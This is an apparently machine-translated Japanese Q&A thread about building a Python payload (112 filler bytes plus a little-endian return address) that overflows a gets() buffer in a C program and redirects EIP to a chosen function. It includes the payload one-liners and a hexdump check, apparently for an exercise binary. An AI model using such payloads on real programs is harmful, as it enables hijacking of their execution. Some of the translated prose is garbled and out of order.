2017-10-08 16 views
0

私はCコードで関数を実行するためにバッファオーバーフローを引き起こそうとしています。これまでのところ、私はすでにEBPレジスタを引き継ぐバイト数を調べることができました。次に唯一のことは、実行したい機能にEIPのアドレスを代入することです。私はこのペイロードをPythonで生成しようとしています。このために、私は以下のバッファオーバーフローのためにPythonでペイロードを生成するには?

python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload 

を使用これは私が

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;� 

お知らせそれらの最後の文字が得るものです!私はそれが私が得ると思われるものではないことを知っています。 EIPの登録簿で実行したいアドレスは0804863bです。悪用を正しく実行するには、これをlittle endianに入れなければなりませんでした。これに関するコメント?これのために悪用をさらに進めることはできません...

+0

に上書きされます:あなたは、これがprintが、使用していないしたくない場合は? – DKNUCKLES

+0

@DKNUCKLESファイルの内容をコピーせずに、どうすればよいのか分かりません。なぜなら、コードは 'gets'関数を入力するための入力(文字列)を期待しているからです。 – fish202

答えて

1

あなたのattack_payloadファイルをどのように見てもわかりません。しかし、ターミナルにそれをダンプしたり、エディタ内で見ることはできません。この場合、データは文字として解釈されるためです。代わりに、XXDで、たとえば、ファイルの一部hexdumpに対して操作を行う必要があります:あなたが最後の行で見ることができるようにあなたがこれらを期待どこ

$ python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload 
$ xxd attack_payload 
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 
... 
00000060: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 
00000070: 3b86 0408 0a        ;.... 

、バイト\x3b\x86\x04\x08はほとんどが実際にあります。ファイルの末尾に改行文字\x0a(つまり\n)があるとは思わなかったでしょうが、それはPythonのprintが追加するものです。あなたは `> attack_payload`を削除した場合EIPが正常に要求されたアドレスに

$ python -c 'import sys; sys.stdout.write("A"*112 + "\x3b\x86\x04\x08")' > attack_payload 
+0

私は単にファイルをキャッチし、それらの文字をstdinにコピーしました。なぜなら、関数getはプログラム上で文字列を要求しているからです。私はいくつかのチュートリアルでこの手順を見てきました。一例として、そのコマンドが実行されると、出力はこのA(...)A <84>^D^Hのようになります。しかし、あなたが言っていることは私には意味をなさない...それを考えると、このペイロードを 'gets'関数に渡してバッファをあふれさせることはありますか? – fish202

+0

@ fish202:アプリケーションが 'app

+0

確かに、私はそれを直接食べることはできません。コードには[link](https://pastebin.com/tv7zyvF0)に従ってください。 – fish202

関連する問題